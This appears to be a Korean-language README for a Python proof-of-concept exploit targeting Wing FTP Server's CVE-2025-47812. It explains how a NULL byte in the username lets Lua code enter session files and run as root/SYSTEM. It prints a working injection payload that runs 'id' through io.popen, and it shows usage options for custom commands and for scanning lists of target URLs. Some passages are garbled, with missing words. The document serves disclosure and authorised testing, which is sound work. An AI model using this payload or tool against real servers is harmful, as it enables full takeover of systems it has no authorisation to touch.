
Wing FTP Server 원격 코드 실행 (RCE) 익스플로잇 (CVE-2025-47812)
Wing FTP Server 원격 코드 실행 (RCE) 익스플로잇 (CVE-2025-47812)
📌 크레딧: 취약점 발견: Julien (@MrTuxracer).
이 PoC 구현은 그들의 원본 연구를 기반으로 합니다.
이 저장소는 Wing FTP Server 원격 코드 실행 (RCE) 취약점 (CVE-2025-47812) 에 대한 Python 익스플로잇을 호스팅합니다. 이 심각한 결함으로 인해 공격자는 익명 접근이 활성화된 경우에도 영향을 받는 Wing FTP Server 인스턴스에서 root/SYSTEM 권한으로 원격 코드 실행을 달성할 수 있습니다.
이 취약점은 인증 과정에서 Wing FTP Server가 username 매개변수 내의 NULL 바이트를 부적절하게 처리하는 데서 비롯됩니다. 이를 통해 공격자는 Lua 코드를 세션 파일에 직접 주입할 수 있습니다. 이 악성 세션 파일은 유효한 세션이 로드될 때 실행되어 서버에서 임의의 명령을 실행할 수 있습니다.
이 익스플로잇의 주요 기능:
이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 작성자는 이 소프트웨어의 오용이나 손해에 대해 책임을 지지 않습니다. 시스템에서 테스트를 수행하기 전에 항상 명시적인 서면 허가를 받았는지 확인하십시오.
이 취약점은 Julien(@MrTuxracer)이 발견하고 자세히 문서화했습니다. 원본 글 참조:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
CVE-2025-47812 취약점은 Wing FTP Server가 사용자 인증 및 세션을 관리하는 방식의 여러 취약점에서 비롯된 심각한 문제입니다.
c_CheckUser()의 NULL 바이트 잘림: 사용자 인증을 담당하는 c_CheckUser() 함수는 내부적으로 제공된 사용자 이름에 strlen()을 사용합니다. NULL 바이트 (%00) 가 사용자 이름에 주입되면 (예: anonymous%00...), strlen()은 이 지점에서 문자열을 자릅니다. 즉, NULL 바이트 이전의 사용자 이름 부분에 대해 인증이 성공하여 적절한 검증을 효과적으로 우회합니다.loginok.html 내의 rawset(_SESSION, "username", username) 호출은 GET 또는 POST 매개변수에서 직접 전체, 정제되지 않은 사용자 이름을 사용합니다. 여기에는 NULL 바이트와 이후의 모든 문자가 포함됩니다.anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--) 이 악성 코드가 세션 파일에 직접 기록됩니다./dir.html과 같은 인증된 기능에 접근할 때 호출되는 SessionModule.load() 함수는 와 를 사용하여 세션 파일을 직접 실행합니다. 이 중요한 단계가 주입된 Lua 코드를 트리거하여 으로 이어집니다.이 취약점은 Wing FTP Server가 기본적으로 Linux에서는 root 권한, Windows에서는 SYSTEM 권한으로 실행되는 경우가 많아 특히 심각합니다. 이 기본 구성은 공격자가 성공적으로 악용할 경우 손상된 시스템을 최대로 제어할 수 있게 합니다.
영향받는 버전: 7.4.4 이전의 Wing FTP Server 버전이 취약합니다.
이 스크립트는 기능을 조정하기 위한 다양한 명령줄 인수를 지원합니다.
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
Exploit script for command injection via login.html.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., [http://192.168.134.130](http://192.168.134.130)). Required if -f not specified.
-f FILE, --file FILE File containing list of target URLs (one per line).
-c COMMAND, --command COMMAND
Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.
-v, --verbose Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.
-o OUTPUT, --output OUTPUT
File to save vulnerable URLs.
-U USERNAME, --username USERNAME
Username to use in the exploit payload. Default: anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig

loadfile(filepath)f()